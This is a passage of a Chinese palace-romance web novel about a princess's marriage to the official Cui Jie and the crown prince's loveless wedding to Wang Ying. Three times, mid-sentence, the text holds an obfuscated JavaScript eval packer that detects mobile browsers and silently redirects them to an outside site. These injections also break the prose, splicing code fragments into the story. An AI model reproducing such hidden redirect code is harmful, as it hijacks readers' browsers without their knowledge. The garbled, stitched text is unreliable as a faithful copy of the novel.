这位十公主可真了解少爷的品味，前段日子的画儿，今儿的折扇，少爷对她也前所未有地用心，想来两人日后的感情会很和谐。家和万事兴，夫人若见少爷公主琴瑟和鸣，当初对这桩姻亲的怨怼，大概也能消散的吧。 邝嬷嬷暗暗思忖。 然则情况恰恰相反。 崔介待薛柔所赠之物珍如拱璧，专门打了个柜子存放于书房——家里人知道他的书房搁着许多重要公文，随意不踏足打扰，故此贵重物品通通安置在此。 每每路过书房，总能瞧见里头立着的那个干净明亮的柜子，还上着锁，钥匙握在崔介手中，其余的一排排书柜可没上锁，更显这个异类了。 余夫人心中不快，次次冷着脸走开，万籁俱寂时，便同丈夫崔寿磨牙：“你看看你的好儿子，没娶进门呢，就捧珍珠似的捧着，区区一个柜子也值当上锁，怕有贼下手偷了怎么着？” 一回两回，崔寿尚有余力开导她，自崔介带回那卷画儿起，她就在耳根子前没日没夜地唠叨，渐渐地，崔寿不胜其烦，不管她发哪门子邪火，先默一阵子，等她自己没趣住了口，才说：“儿孙自有儿孙福，咱们硬插手，到头来弄巧成拙，可不要闹笑话。你最好颜面，届时收不了场，难受还是你自己。” 余夫人小门小户出来的女儿，见识浅薄，有幸嫁到名门望族崔家，本以为好日子来了，怎奈崔寿性格温吞，不争不抢，由此二房长期被其他几房压着，没一点话语权。 长此以往，心眼子越长越小。 及崔介功成名就，二房终于扬眉吐气，偏生招来一个荒唐公主。 余夫人一闭上眼，尽是其他人指指点点的嘴脸，加上亲儿子一心向着薛柔，且明里暗里提防着她，她万万接受不来。 “你们父子，只管帮着一个外人宣排我，我是为谁辛苦为谁谋，不是为你们崔家百年世家的脸面么？“余夫人冤屈得不得了，滴下泪来，“我算认真了，再优秀的儿子，终究是娶了媳妇忘了娘。” 余夫人一个劲埋怨，正经道理一丁点听不进去，几乎无解。 几次三番折腾下来，崔寿累了，把脱到一半的衣服重新套回去，抬脚去东厢房凑合住了。 * 年纪最小的薛柔说定亲事，排行在前却孤身一人的皇子公主们，纷纷行动起来，怂恿各自的生母，到景帝那吹枕边风。 这之中，舒婕妤跳得最欢，一个月里，车轱辘话反复讲，搞得景帝有些怵她，后面整整一个月没驾临钟秀宫。 舒婕妤尽管抓耳挠腮，薛嘉尽管侥幸自喜，同时，花一段日子说服了自己： 太子哥哥对薛柔只是淡薄的兄妹之情，别无他意，是她自己看差了，因此拜访东宫的次数只增不减。 这日照常去送粥，不巧扑了个空，一问方知是被景帝叫御书房了。 个中细节，东宫的人没 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15799957|175083||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 提，薛嘉不好意思打破砂锅问到底，单说不差这一会，稍等等便是。 谁料热腾腾的粥都凉透了，薛怀义仍没消息，薛嘉按捺不住，搁下食盒，出去迎，好歹没落空，把人一道迎回。 “太子哥哥看起来不甚高兴，可是父皇说了什么？” 薛嘉两只眼坚持不懈地盯着薛怀义，凡他一颦一笑，全然做到第一时间发觉。 薛怀义矢口否认：“并无什么。” 无什么？分明就有什么。 薛嘉死抓着手，愤懑不平，无法释怀，不自禁疑心上了薛柔。 太子哥哥鲜少有丢魂丧魄的时候，独她所见，仅那么一次，他远远望着薛柔，陷入了无知无觉的境地。 薛嘉不敢亦不愿肯定是薛柔在兴风作浪，聪明地闭口不谈，光笑吟吟关切薛怀吃粥。 “中午吃过饭了，不饿，先放着吧。”薛怀义回以微笑，瞧着很通情达理，口吻却坚定得令人无话可劝。 薛嘉没招。 又坐了会，日常的话题全问遍了，委实无理由待下去，薛嘉强颜欢笑道辞。 如果她晚走一步，或者回个头，必定为薛怀义的阴翳满容而惊愕失色，乃至毛骨悚然。 程胜睃着那揭开盖的食盒，语态谨慎：“殿下，那粥……” “照以前一样，倒了便是。” 其实，与薛怀义之间的情谊，净是薛嘉的自以为是。 几个年头以来，她精心准备的粥饭，大半与东宫的泔水混为一团，余下的一小部分，才真真实实进了薛怀义的肚子——她当场监督，不好做手脚。 薛嘉图谋在何，薛怀义洞若观火。以他所见，薛柔不遗余力骂他虚伪的力气，使在薛嘉身上更名副其实。 程胜打发小太监执行命令，他则积极为主子排忧解难：“殿下同陛下关起门来谈了好久，不知所为何事？” 殿下已经够命运多舛的了，但愿不是倒霉事。 程胜忠心耿耿，薛怀义比较信任他，不介意告诉他一些事：“父皇念我后宫寂寞，有意为我侧立太子妃。” 景帝的原话如下： “你十妹妹最小，现今也有了人家，你们兄弟姐妹中未行嫁娶之礼的，属你年长，你又担着太子的名分，偌大后宫，冷冷清清，不免遭人非议。朕考虑了不少人，门户品貌皆配得上太子正妃的，当属中书令王偃的女儿。此女小你一年，大门不出二门不迈，知书达理，温柔贤良，堪为京中女眷之典范。你以为如何？” 中书令王偃，当世第一能臣，为天子的膀臂。他们王家也是百年世家，与李、崔、卢、郑几大家族平分秋色，如若收归王家女，借王家之势撑腰，那太子之位将固若金汤。 至于王家女本人的相貌性情如何，薛怀义不关心，他现阶段所野心勃勃的，乃金銮殿上那把龙椅，乃睥睨天下的权力，儿女私情暂牵绊不住他。 他要爬得更高，凌驾于尘世之上，那时，新仇旧恨，他将一笔一笔清算。 “儿臣但凭父皇做主。” …… “那敢情是天大的喜事！”程胜眉飞色舞道，“咱们东宫总算要迎来太子妃了！” 薛怀义笑而不语。 18. 太子妃 话说崔介配了天子掌上明珠，风光一时，惹得崔家大房横生妒忌，定要也求娶一个公主回家。 薛嘉同崔斓交好，崔家人都熟悉她，都觉得她落落大方，温柔可人，长房的李夫人就此打起了求她做儿媳的主意。 母子连心，崔碌心悦薛嘉已久，但自知是个草包，一无所成，惟好强忍真情，哪怕睡梦间也不敢亵渎于她。 眼下母亲有意撮合，欣喜若狂，若非一屋子丫鬟看着，怕是要手舞足蹈起来。 母子俩一拍即合，李夫人当晚就和丈夫崔安商量。 崔安继承故去的崔老太爷衣钵，时下任户部尚书。 一年中赶上年节，宫中设宴，内宫诸人出席，他远远见过薛嘉几次，虽则走马观花，浮光掠影，但一个人与生俱来的气质是藏不住的，薛嘉诚是位面善可亲的公主。 崔安姑且算个有良心的，情知崔碌是什么德性，远远不配作驸马，不加犹豫地驳回李夫人的主张：“崔碌的婚事我一直操着心，新近相中了一家，各方面条件跟咱们门当户对，你看看行的话，改日就请官媒婆登门提亲吧。” 李夫人、余夫人明里暗里攀比较劲十多年，余夫人先生养了一个人中龙凤的儿子，又抱得十公主这尊大佛当儿媳，意气风发，好不神气，反观李夫人，独苗不成器，儿媳还哪样都差了些，怎能善罢甘休。 “崔碌是从我肠子里爬出来的，他的人生大事，我头一个做得了主！” 李夫人把话说绝，崔安有异议，便使唤丫鬟将他的东西搬出卧房，连他的人也一并撵出了门。 崔安是有些俱内的，毕竟她背靠一个高门大户的李家，有无数有头有脸之人为她撑场子，轻易得罪不起。 忍了几日，心有松动，半推半就地同意了崔碌求娶薛嘉。 舒婕妤消息灵通，那头向景帝提起，紧跟着便将事态摸了个清楚，一刻等不得，忙忙叫来薛嘉促膝长谈。 薛嘉脑子里轰然一声，眼睛都看直了：“他们怎么敢打我的算盘……怎么敢的？” 舒婕妤一面劝，一面揪心，急派遣心腹，捧着半兜子金叶子，用以贿赂御书房的太监，以便打探最近进展。 万幸，景帝悬而未决，推说不久要给太子娶亲，事多，忙，且容后再议。 薛嘉闻知，一颗心松了又紧。 太子哥哥要娶亲了？ 她聪慧过人，立刻联想起前儿在东宫，太子的反常表现来。 一切都串起来了。 所以，不日册封太子妃，他究竟开不开心呢……？ 一个有违人伦的念头缓缓浮现：她希望他是不开心的。 东宫将迎来太子妃这股风儿，薛柔听说了，只是嗤笑戏谑：“王家那么出色的一个女儿就要毁了，真可悲。” 三喜搭茬：“这也仓促，赶在冬至前便要完婚呢。” 屈指一算，距离冬至，仅仅两个多月，果然够匆促的。 薛柔不掩唾弃之意：“王家有实力，薛怀义那种下等货色，当然上赶着倒贴，唯恐晚个几日，王家回过味来拍拍手反悔了，那他不得活活气死。” 同流合污惯了，三喜下意识和她站一边，举双手认可：“王家以前是出过皇后的，与王家结亲，可遇不可求，也就是东宫，方能打动王家人。” “出过皇后又怎样！”一句话不投机，薛柔的火爆脾气复冲腾而上，“父皇母后健朗，他想正式坐上龙椅，扶王家小姐正位正宫，权且等三十年以后吧！” 有关薛怀义的话题，她决计无法平常心对待，三喜吃一堑长一智，转移话头：“还有一件趣事。昨儿九殿下休沐，与皇后娘娘请安，袖袋里不留神掉下一个香囊，绣着翠茵茵的竹子，倒似女子的东西。娘娘看见问九殿下，九殿下目光闪烁，一口咬定是从外边买的，买的时候没仔细过目，错拿了女子的款式。您说好笑不好笑。” 亲身经历一场情事后，薛柔机敏不少，立刻觉察端倪，耐人寻味一笑：“九哥哥这是瞧上谁了，那香囊不是他特意买来准备赠人的，便是人赠给他的。都亲密到送贴身香囊的一步了，还对外瞒得密不透风，九哥哥可真狡猾！” 编排完薛通没两日，薛柔便遇着了他，伸展胳膊，挡住他去路，颇有打家劫舍的架势：“哎呦，最不爱打扮的人都打扮得光鲜亮丽的，竟不知哪位有这么大的面子呀？” 薛通攥拳抵唇下轻咳一声，避重就轻道：“明觉约我上松山书院参观，自然得重视起来，稍稍整一整衣装有什么可奇怪的。” 薛柔忽闪忽闪洞悉一切的眼睛，语调山路十八弯：“哦——” 而后慢慢转到他侧面，趁其不备，顺下他腰间佩戴着的绿竹香囊，掂在手心举给他瞧：“我记性好的话，九哥哥似乎从不戴香袋子的，嫌它太香了，闻着不舒服。今儿个怎么转性了？” 薛通恼了，一把夺回来，干脆揣怀里，省得她胡碰：“妹妹也别取笑我，你自己不也借花献佛，献得性情大变吗？” “好啊九哥哥，伶牙俐齿的。想来你有了心上人，就把妹妹抛之不顾了，实在令人伤心。”薛柔瘪着嘴，假装吃味。 在她这，任薛通神通广大亦施展不开，好言好语哄了半天，又将予他香囊之人的身份揭晓，才算冰释前嫌。 “周家二姑娘？” 薛柔劣迹斑斑，人缘跟着也差，京中这群贵女，不认得几个。 “就是王中书令家的亲戚，将来太子妃的远房表妹。”薛通点拨道。 王媖，钦定太子妃，薛怀义未过门的妻子。 薛柔一下子丧了脸，暗自犯嘀咕： 天底下那许多高门闺女，九哥哥怎的偏偏倾心于王媖的表妹，这下连清清白白的九哥哥亦免不得和薛怀义扯上关系了。 “非得是周家姑娘吗？”薛柔头脑一热，表明心迹，给薛通一愣，好笑道：“这种事，岂能另换他人？妹妹才起床，睡迷糊了吧？” 意识到失言，薛柔借坡下驴，笑嘻嘻道：“整日被皇祖母监管着，不得自由，我浑身的经络都快打结生锈了。你不是赶着赴约吗，我不碍你事了，就去吧。” 薛通爽朗道：“回来给你带九连环、孔明锁解闷玩。” “我这么大个人了，会稀罕那些小孩子的玩意吗？”薛柔白了他一眼，“便捎些外面时兴的话本子，我爱看这个。”< ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15799958|175083||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' /p> 薛通记在心上，嘴上却说：“小心被皇祖母抓住现行，打你手板。” 薛柔不耐烦，推他赶紧走。 又过了小半个月。 薛柔跪坐于慈宁宫的一张矮几前，一边回忆上个月学的点茶，一边半生不熟地动手尝试，陈嬷嬷在旁看着，太后则在窗下假寐。 “水放多了。”陈嬷嬷及时纠正错误。 薛柔抿抿嘴，换个干净的茶碗，撒上一层茶叶末，斟酌添入沸水，听陈嬷嬷没动静，上手调拌。 窗外掠过几道影子，陈嬷嬷眼尖，走出去查看。 薛柔手上忙活，眼睛也不肯落闲，歪头偷看。 没一阵子，打起的门帘下，依次进入三个人。 为首的乃一个长挑身材女子，扁扁的、窄窄的鹅蛋脸，容颜清丽。 后面的显然是她一起的丫鬟。 陈嬷嬷则垫后，轻步至太后跟前，将人唤醒：“娘娘，王姑娘来看您了。” 太后缓缓睁眼，王媖福身称：“太后娘娘万福金安。” 追溯起来，太后便是当年从王家出来的皇后，和当今的中书令是姑侄关系，按辈分排，王媖应唤太后一声姑奶奶，不过王家人有规矩知方圆，太后即使挂着王姓，那也先是皇室中人，没法按寻常亲戚来对待，必恭恭敬敬呼为太后娘娘。 太后抬抬下巴，示意陈嬷嬷搬把椅子给王媖坐，王媖只沾着椅子边坐下。 “你父亲母亲可还康健？” 太后近年深居简出，不大召见人，连母族王家人，近四五年里，不过堪堪传唤过五六次。 王媖垂眸答：“自前年病了一场后，母亲的身子便大不如前了，一年有半年离不了汤药；父亲一直没扔下马背上那套，坚持锻炼，这些年没病没灾，硬朗不输壮年人。” 太后点头，另起话题：“今年冷得早，冬至又不远了，你多加注意身体，以防病了痛了，延误了婚期。” 侧耳倾听至此，薛柔方弄明白局面——眼前那温婉小姐，合着正是准太子妃。 她不觉多瞄几眼王媖，见其婉约柔媚，风姿天成，由衷一叹：怎就栽在了薛怀义那贱种手上！ 王媖察觉到侧方的打量，眼梢略斜，余光里出现一个明媚少女，恍惚有几分熟悉。 “小十，你过来。”早知薛柔那头心不在焉，太后索性成全她，喊她过来，与王媖互相认识认识；薛柔依言走近，乖巧站着，“这是王家小姐，长你两岁，不久你就该唤一句嫂嫂了。” 薛柔悄悄不屑。 既不承认薛怀义这个哥哥，哪还需要这个嫂嫂呢？ 薛柔一时没表示，王媖却面面俱到，决不容许气氛僵化，客气疏离地笑一笑：“百闻不如一见，十公主好。” 其实，王媖见过薛柔几次，对她的印象不算好，向来抱以敬而远之的态度。 薛柔提起笑脸，勉强应付了事。 薛柔敷衍的做派，王媖全然领会，心想： 这十公主果然不好相与…… 罢了，惹不起躲得起。 以后能避则避，确实避无可避，不管占不占理，悉数让着她为妙。 19. 凛冬 冬月二十，东宫大喜。 阖宫上下到场观礼，偏有一人不在——薛柔前夕吃坏了肚子，上吐下泻一夜，至东方既白才缓和下来。 盛装参与婚礼，乃无稽之谈，虚浮着半口气躺被窝里歇养，方为头等要事。 整个坤宁宫因她彻夜未眠，一趟趟进人来关切她的病势，尤属皇后伤心，两只眼肿成了桃子，对她半责备半是心疼道：“你这孩子，总叫我提心吊胆，我上辈子真是欠了你的，这辈子为你操碎了心……” 说时，挥泪如雨。 薛柔虚弱无力，没法替母后拭泪，权且叫三喜递帕子。 “母后别哭了，我人没事，就是事出突然，耽误了东宫大事……”她楚楚可怜，很是愧疚的样子。 皇后给她提了提被子，又转头命人添碳火，确保屋子暖如春日，安慰道：“这也是无可奈何的事。你就安安心心养着，没人会怪你。” 时辰不早，不能再逗留了，皇后扶着膝盖起身，搭许嬷嬷的胳膊去了。 探头确认皇后整装离开坤宁宫，三喜缩回脖子，同榻上抻胳膊伸懒腰的薛柔搭腔：“就为了不去东宫，半夜不睡觉，往肚子里猛灌凉水，这还不放心，又洗凉水脚……何苦呢，殿下。” 刚抱怨完，薛柔便打了个喷嚏。 “……我宁可大病不起，也不愿意出席那种场合。”她果决道，“看见薛怀义的脸，还是志得意满的脸，我就犯恶心。既然如此，我干嘛为难我自个儿。” 她乐意目睹薛怀义愤恨到扭曲的面目，而他欣然开朗的模样，只会唤起当日桐花台那段令人作呕的记忆。 三喜斜着眼珠子，咕唧：“那您可不值当，今儿小崔大人也会进宫来呢。” 薛柔乍然瞪大眼睛，半晌没眨眼，过后拍脑门懊悔不及：“我怎把这茬子忘了！” 光顾着躲避瘟神，疏忽了薛怀义顶着太子的名头，他娶亲，朝里的官员须携各家命妇入宫恭贺，崔介自然在列。 她都好久未看见过他了…… 三喜撇撇嘴，俯身把她露在外面的手臂塞回被子底下，掖掖被角：“事已至此，您姑且踏踏实实歇着吧，可不要再节外生枝了。奴婢就在外面守着，您哪里不好受了随时吩咐就好。” 薛柔身上尚可，心里似长出一只手，又抓又挠。 悔恨无益，她摆摆手，翻身冲里边。 是夜，云澜在宫门外接到崔介，忙牵马迎上前嘘寒问暖：“折腾一个白天，公子定乏了吧，不如省了骑马，坐车子回去吧。” 建议完毕，照以前一样，伸手作出接崔介官帽的动作。 崔介视而不见，直接踩马镫翻上马背，策马扬鞭离去。 云澜摸不着头脑。 公子是在跟谁置气吗？ 总不能是针对他吧，他没做错什么啊。 一到家，崔介向父母说明自己不饿，不用等他用膳，就回了书房。 右手边立着一个朱红雕漆柜子，上有锁头，锁的正是薛柔送与他的两样东西。 睹物思人，薛柔的音容笑貌渐渐清晰起来。 今日没瞧见她，她那么张扬，为何会错过东宫的良辰吉日？ 是嫌束手束脚，悄悄躲去别处喘气了吗？ 亦或是天寒地冻，受了凉，抱恙在身，不宜出门？ …… 该过问一下的。 另一方天地，薛怀义亦因一人而心神不宁。 他的大喜日子，他的十妹妹，光明磊落地缺席了。 她是故意的——不吝将自己作践得下不了地，只为躲开他。 她的气焰，几时黯淡了到此种水平？ 婆子适时捧来合卺酒：“太子殿下，太子妃，到吃合卺酒的时辰了。” 才刚揭了盖头，王媖现出一张粉面，朝婆子柔柔一笑，后微微偏转目光，窥视身边人。 但见其面容冷漠，执鸳鸯杯在手，音色清冽：“太子妃，请吧。” 太子妃？他居然唤自己太子妃…… 王媖隐隐诧异，悄悄咬着嘴唇，尽量不显露山水，端起鸳鸯杯，身姿前倾，与之交杯对饮。 合卺酒饮尽，婆子滔滔不绝说了一通吉祥话，领赏谢恩后，欢欢喜喜告退。 屋里唯剩着喜服的二人。 出阁前，教引嬷嬷秘授王媖床笫之事，专待今日。 那图上的内容一股脑涌入脑袋里，王媖喉咙发干，手心出汗，方寸大乱。 但教养使然，她不肯表露半分，默默做个深呼吸，细若蚊蚋：“天色已晚，我伺候殿下安置了吧。” 桐花台，水光粼粼，扁舟轻晃，潮湿的呼吸，温热咸涩的血，共同编织成一张大网，笼住了薛怀义的神思。 他的洞房花烛夜，偏偏是她闯入脑海，根深蒂固。 “我才吃过酒，不甚舒服，太子妃自己休息吧，我去书房住。” 不及挽留，已然归隐苍茫夜色。 门开开合合，王媖的陪嫁丫头银杏快步而入。 “太子妃，太子爷怎么走了？” 王媖放低视线，入目所及，乃被自己一双手抓得皱皱巴巴的衣摆。 “殿下多吃了两盅酒，身子不舒坦，自去书房宿下了。” 自幼，父母谆谆教诲她，须谨言慎行，体贴夫君，时时做到夫为妇纲，因此，她毕生都致力于做一位贤妻良母。 可也是她，明知故犯，违背了人伦纲常，为一个此生绝无可能的人，乱了心旌。 哪怕新婚之夜夫君不留宿，她亦无怨言，并非出于贤惠，事实是心心念念的，另有其人。 她有罪，罪愆深重。 银杏眉头紧蹙，心怀不平，畏于对方是储君，不敢置喙。 “那奴婢服侍您卸妆宽衣吧，明日还得拜见帝后，三日后又有庙见礼，忙着呢，且要养精蓄锐呢。” 王媖点点头。 王媖原以为，薛怀义在书房住不长远，总归会搬回来和她同住，可婚后一月，她夜夜独守空房。 她终究可耻地长舒一口气。 她曾对一人动情，银杏知情，但她已嫁做人妇，无论如何也该忘怀往事，便不以为意，劝她大胆些，直接当面询问清楚。 王家的女儿决不容被人这般羞辱。 王媖诚心弥补妄自动念的罪过，将银杏所言放在心上，挑一个雪夜，请他共进晚膳。 薛怀义准时准点到达。 看他肩头带着雪花，王媖亲手替他解下大氅，挂在衣架上。 “这种小事有下人做，太子妃不必麻烦。” 薛怀义微微笑着，可王媖看来，他的笑十分疏离，仿佛彼此并非夫妻，更像两个萍水相逢之人。 “我是殿下的妻，周到侍奉殿下属分内之事。”王媖柔和道。 薛怀义一笑置之，危坐于方桌一侧。 王媖紧随其后，跟他面对面。 “过了年，父皇意欲挥师南下，朝中事务日渐繁多，我为东宫，不可不为父皇分忧。”薛怀义神机妙算，一早知晓这顿饭的意图，自行解释起来，“所以，少不得要搬去书房一段日子了。” 先有国才有家，王媖深谙此理，无话可说，颔首表示 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15799959|175083||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 理解：“好。虽则国事为重，但殿下也要劳逸结合，保重身体才是。” 薛怀义淡淡回应：“我自有分寸。” 无聊且漫长的一顿饭，步入尾声。 薛怀义取了氅衣，横搭在胳膊上，冒雪离去。 王媖静静目送。 一阵寒风迎面吹来，裹挟着点点雪花，扑上她的脸。 “这天气真冷，”银杏关上门，怀抱一件灰鼠毛披风，“太子妃穿得太单薄了，添件披风吧。” 王媖摇摇头，拿起针黹临窗绣起来。 临近年关，宫里上下各自忙碌，挂花灯的挂花灯，贴对联的贴对联，一片喜气祥和。 薛柔拎一把小板凳，坐在廊芜下，指挥一个内侍张贴自己门框上的对联：“左边歪了，右边再抬高点。” 内侍害怕她，手脚颤颤巍巍的，对联越贴越斜。 “就这么大点事，你都办不好，放你们在这宫里是享福的吗？” 正数落着，脖子后头猛然探进来一个凉嗖嗖的东西，冰得她一激灵，弹将起来，回过头一看，原来是薛通在作怪。 “九哥哥你做什么？！”她冷得厉害，把脖子缩回衣领取暖。 薛通嬉皮笑脸道：“这不看你火气大，怕你烧着了，给你降降温嘛。” 名为寻薛柔的乐子，实为替梯子上腿脚发软的内侍解围。 那内侍不敢喘气，忙把对联贴正，踩着梯子下来，低着脑袋溜之大吉。 薛通站眼前，薛柔顾不上操心那内侍如何，只哼了一声，下台阶用手抓一把雪，揉成雪球，直晃晃塞入薛通的后领子。 薛通急掏雪球出来，假做气恼：“早知你气兴这么大，我肯定不给崔大人跑这个腿。” 薛柔面色一变：“崔大人嘱托哥哥来的？他是有什么话传达我吗？” 薛通摇摇左手提着的纸包，朝屋里努嘴：“外头风大天冷，我得进去暖和暖和才好说明白。” 矫情。 薛柔暂且卖他几分情面，让他进屋，又令人奉热茶为他驱寒。 “别卖关子了，崔大人究竟拜托了什么？” “你自己打开看看就知道了。” 三口两口，热茶见光，薛通又向三喜讨茶。 “我要这些苦津津的玩意有何用。” 纸包里的全是各类草药，乌漆嘛黑的，光用眼看，已觉舌头发苦。 薛柔讨厌吃药，对其厌恶程度与对薛怀义的不相上下。 薛通咂咂嘴：“人崔大人念你上个月病倒，特意配了这些药材，补身体用的。你休轻看这黑糊糊的东西，价格不菲呢，顶崔大人两个月的俸禄了。我就问你，崔大人的情意，你领不领？” 既是崔介良苦用心，薛柔勉为其难收下，之后坚持每日泡水喝，虽然入口吞咽的过程堪比酷刑就是了。 除夕夜，交泰殿设宫宴，歌舞升平，其乐融融。 对面安着太子太子妃的席位，薛柔看不惯，全程埋头拣菜吃。 追循薛怀义的视线，王媖看见了闷头吃东西的薛柔，心下一动。 那日去太子书房借用笔墨纸砚时，无意间扫见的那纸丹青，和十公主有七八分相似。 彼时不敢断定十公主就是画中人，如今太子频频向她那桌注目……看来，真的是她。 一个作兄长的，会出于哪种目的，而去画下自己妹妹的丹青，还放置于时刻停靠的书案上呢？ 王媖没有兄弟，无法切身体会手足之情。 既无法感同身受，那便不能妄加揣测。 她默默移开目光。 20. 春宵 年关一过，薛柔成婚的日子数着数着就来了。 天蒙蒙亮，薛柔睡眼惺忪地坐在梳妆镜前，随便宫女们围着自己忙活。 三喜怕她困劲上来，猛不防睡倒了，发动一张小嘴，绞尽脑汁思考话题，以达到喋喋不休效果，给她醒神。 薛柔拼力克服头重脚轻的感觉，有一搭没一搭接三喜的话。 终于熬到迎亲队伍过来，三喜扶着薛柔，前往坤宁宫，拜别皇上皇后。 从前盼女儿早觅良人，有个如意归宿，现今真走到这步，皇后千般不舍，万般牵挂，止不住泪眼婆娑。 许嬷嬷一边递手帕安慰，一边感触良多，偏着头黯然擦泪。 景帝受感染，眼眶子慢慢酸涩难当，目视殿外来来往往的宫人们，叹息：“唉……时间过得真快，连小十都有夫家了，朕不得不服老了……” 顾及薛柔将将过来辞行，皇后收敛悲伤，叫一个小宫女来补一补哭花的胭脂－－大喜的日子，理应高高兴兴的，这样女儿才好安安心心出嫁。 三喜小心搀薛柔入殿，依规矩，向上首的帝后行三跪九叩之礼。 活这许大，她是初次行此大礼。 礼毕，她便要踏出这方宫殿，去崔家落地生根了。 哀切盖过欢喜与激动，薛柔泪流满面，泣不成声：“父皇，母后，儿臣以后一定会开开心心过每一天，不再叫你们挂心……儿臣也会经常回来看望你们的……” 日后身边再无父皇母后掏心掏肺的关怀、宠爱，但她不怕，因为她相信，自己没看错人，崔介也将真心实意地待她。 皇后强忍酸楚说：“去了人家以后，收着些任性，多些宽容。” 景帝紧接着说：“你母后说得是，你往心上去。另外，别忘了常回宫来，这宫门，随时为你敞开。” 薛柔重重点头。 许嬷嬷眨眨眼，掩下晶莹的泪花：“公主平日爱吃的点心，奴婢一样做了些，已让人包好带出去了，公主记得吃，若不够，奴婢再准备。” 许嬷嬷的疼爱，全藏在细枝末节里，朴实无华却打动人心。 薛柔开个玩笑，缓和悲切的气氛：“那嬷嬷可有一阵子忙的了。” 许嬷嬷笑出声，心下却更难受了。 十公主是她看着长大的，跟她自己的孩子似的，一晃眼许了夫家，整个宫里骤然没了她的欢声笑语，该有多寂寥啊。 吉时已到，三喜捧来盖头，小心翼翼为新娘子盖好，扶人慢步出门。 盖头底下，薛柔潸然泪下，浑浑噩噩，连宫门口立着前来送嫁的太子太子妃亦浑然未觉。 随风翻飞的裙摆擦着一角墨色锦衣，短暂地纠缠后，分开来，恢复了泾渭分明的原貌。 王媖善意满满道：“十妹妹出嫁，殿下不去道一下别吗？” 薛怀义举步，同那逐渐淡化的鲜红背道而驰：“十妹妹的好日子，应当留给崔大人，我便耽误他们了。” 王媖跟上，同他并肩而行，正欲回应，迎面遇上薛嘉，停脚浅浅笑道：“十妹妹尚未走远，八妹妹如打算去送一程，是赶得上的。” 薛嘉不冷不热道：“哦，那算了，横竖十妹妹还有回来的时候，见面谈天不急于这一时半会。” 薛嘉对自己隐隐约约抱有敌意，王媖早有察觉，而因由在何，她揣摩不清。 “也对，”王媖是个体面人，薛嘉欠妥，她万万不肯使场面僵了，“十妹妹的家在此，随时可回，多的是相处的机会。” 薛嘉不爽。 她不过是逢场作戏，虚假地尽一尽姐妹情分，这人还夸夸其谈上了，存心拿薛柔给她添堵的吧！ 薛嘉将目光转向始终沉默寡言的薛怀义——她才不是奔薛柔的，本就是算计着太子必定到来；她已经快两个月未曾见得他人了：“开春了，太子哥哥多多注意身子，季节之交最容易伤风了。” 薛怀义神色不改，上下两片嘴唇小幅度地动一动：“嗯，八妹妹也是。” 敷衍，太敷衍了。 果然有了太子妃日夜相伴，就毫不犹豫地待她这号人视而不见了。 薛嘉怨气重重，死掐着手心，好歹不致失态：“下月便是我的生辰，太子哥哥会到场的吧？” 一连好几个月，薛嘉未能抓着他的人，每每问起，得到的答案千篇一律：朝事繁忙，太子殿下抽不开身。 且当他忙至分身乏术的地步好了。 可纵使如此，他与太子妃仍然夜夜同床共枕，气息相融，亲密无间；他们是夫妻，明媒正娶、同去太庙拜过列祖列宗的夫妻，任何人都无法拆散的关系，牢不可破。 薛嘉的胸脯剧烈起伏着，她按住胸口，暗暗告诉自己，不能继续想了，得速速离开此地，倘若晚去一步，她会忍不住丧失体统的。 “那天，我会等着太子哥哥……和太子妃嫂嫂的。” 薛嘉近乎落荒而逃。 借薛嘉挑起的话头，王媖询问：“八妹妹生辰那日，殿下可还须投身公务？” 薛怀义言简意赅道：“出师在即，无暇儿女私情。” 虽为夫妻，却有名无实，甚至彼此单独相处的次数屈指可数，讲过的话更是少之又少，干之又干。 本应最熟稔的两人，仿佛隔着一道不可逾越的鸿沟。 究竟哪里出了错？ 王媖只知反思自己心底所埋藏的那抹妄念，仅仅此举，已耗尽心力，疲于揣测推敲薛怀义如何了。 “好。”一如既往，王媖轻垂眼眸，“殿下保重自身，困了乏了，不妨出去走动走动。人多多见一见老天爷，总是有裨益的。” 薛怀义扔下一个语气词：“嗯。” 离开皇后后，薛柔按照耳畔嬷嬷的提示，略显笨拙地完成一道道繁琐的仪式；一个白日结束，落下满身疲惫。 薛柔挑剔，尤其对各种味道，酒味刺鼻，崔介考量周全，舍下前厅应酬宾客的活计，径直入浴房仔仔细细洗漱洁净，穿戴整齐，方至婚房完成剩余流程。 掀起盖头，饮尽合卺酒，听过祝语，一屋子婆子丫鬟哄然散光，唯留新人，衣袂连着衣袂，端坐床沿，相对无言。 薛柔前所未有地紧张，心跳加速，气息凌乱，正常开口讲话放在眼下，亦为难事，看崔介也光明正大不起来，仅停留在鬼鬼祟祟偷瞥 